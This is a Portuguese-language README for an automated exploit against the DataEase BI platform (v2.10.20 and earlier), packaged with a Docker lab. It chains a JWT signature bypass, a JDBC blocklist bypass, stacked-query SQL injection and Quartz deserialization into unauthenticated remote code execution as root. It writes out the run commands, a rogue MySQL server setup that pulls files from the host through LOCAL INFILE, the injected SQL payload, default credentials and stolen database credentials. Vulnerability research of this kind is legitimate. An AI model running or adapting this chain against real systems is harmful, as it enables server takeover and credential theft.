Exploit automatizado para DataEase: cadeia de 4 vulnerabilidades (bypass de autenticação, bypass de lista de bloqueio JDBC, injeção SQL, desserialização Java) alcançando RCE não autenticado. Inclui laboratório Docker e PoC em Python.
Bypass de autenticação → Bypass da lista de bloqueio JDBC (leitura arbitrária de arquivos) → Injeção SQL → Desserialização Java no Quartz → execução remota de código como
root.Laboratório local autocontido (Docker) + PoC funcional. Corrigido no DataEase v2.10.21.
DataEase é uma plataforma popular de BI / visualização de dados open-source (Java / Spring Boot). As versões ≤ v2.10.20 são vulneráveis a uma cadeia de quatro falhas que juntas transformam um DataEase acessível pela rede em execução remota de código:
| # | CVE | Classe | O que nos dá |
|---|---|---|---|
| 1 | CVE-2026-23958 | Bypass de autenticação (CWE-287/CWE-347) | Agir como admin — nenhuma assinatura válida necessária |
| 2 | CVE-2026-40899 | Bypass da lista de bloqueio JDBC (CWE-20) | Leitura arbitrária de arquivos → roubo de credenciais do banco de dados backend |
| 3 | CVE-2026-40900 | Injeção SQL / consultas empilhadas (CWE-89) | Escrever no próprio banco de dados do DataEase |
| 4 | CVE-2026-40901 | Desserialização Java (CWE-502) | RCE como root via o armazenamento de jobs do Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Tudo é executado localmente no Docker. Sem serviços externos, sem alvo na internet.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Inicie:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (prefixo da API /de2api)admin / DataEase@123456Requisitos no host: Docker, Python 3.8+ com cryptography
(pip install -r exploit/requirements.txt), e a CLI Docker (usada para executar
o ysoserial em um contêiner descartável eclipse-temurin:8-jre para construir o gadget).
O DataEase autentica requisições em um filtro servlet, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Ele lê o token e chama
TokenUtils.validate(), que termina em:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() nunca verifica a assinatura. As únicas verificações são: o token
ter ≥ 100 caracteres e conter um uid inteiro. Portanto, qualquer JWT que
diga "uid": 1 faz a requisição ser executada como o administrador embutido (uid 1).
Existe um segundo filtro (CommunityTokenFilter) que verifica uma assinatura
para o cabeçalho X-DE-TOKEN — mas apenas sob condições específicas, e a
chave de assinatura é ou um segredo por usuário ou, em uma build comunitária
simples, o MD5 da senha padrão fixa DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). O caminho de compartilhamento de link
(X-DE-LINK-TOKEN) é assinado com a chave fixa
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) e, antes da correção, era
igualmente decodificado sem verificação.
Efeito líquido: um atacante pode cunhar um token de administrador. de_common.py
inclui forge_jwt() que produz o token sem assinatura; o PoC também suporta
simplesmente fazer login com as credenciais padrão onipresentes para obter um
X-DE-TOKEN totalmente válido para o resto da cadeia.
A correção (commit 00c169caa) faz o TokenFilter consultar o segredo real
por recurso e efetivamente chamar verifier.verify(...).
Ao adicionar uma fonte de dados MySQL, o DataEase recusa um conjunto de
parâmetros JDBC perigosos. Essa lista de bloqueio reside em um campo Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Como @Data gera automaticamente setIllegalParameters(...), o Jackson
preenche alegremente a partir de JSON controlado pelo atacante. Enviar
"illegalParameters": [] no blob configuration (codificado em Base64)
esvazia a lista de bloqueio antes que seja verificada. Podemos então
apontar a fonte de dados para um servidor MySQL malicioso com
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
e ler arquivos arbitrários do host do DataEase via o mecanismo LOCAL INFILE
do MySQL.
# terminal A — servidor malicioso, escolha qualquer arquivo para roubar
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — faça o DataEase conectar-se a ele (host.docker.internal alcança seu host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Resultado — o DataEase nos entrega suas próprias credenciais do banco backend:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Essas credenciais são o que um atacante usa para apontar o passo 3 para o
próprio banco de dados do DataEase. A correção (commit 16a950f96) adiciona
@JsonIgnore a cada campo illegalParameters para que não possa mais ser
definido a partir de JSON.
previewSqlPOST /de2api/datasetData/previewSql recebe uma string SQL codificada em Base64
e, sem validação de declaração única, a envolve como uma subconsulta:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Comentários são removidos, mas podemos equilibrar os parênteses e usar ; para
executar instruções extras. Como controlamos a fonte de dados, ativamos
allowMultiQueries=true (não na lista de bloqueio no v2.10.20), então consultas
empilhadas são executadas:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
que o servidor monta em três instruções reais. Apontar essa fonte de dados para
o próprio banco de dados do DataEase (credenciais do passo 2) nos permite
escrever em suas tabelas do Quartz. Correções: 15611593b adiciona
allowMultiQueries à lista de bloqueio e e89059d88 reforça o fluxo de
salvamento/engine.
O DataEase agenda um job "verificação de status da fonte de dados" recorrente no Quartz:
deSyncJob, job Datasource / check_status, classe
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (padrão: a cada 6 minutos)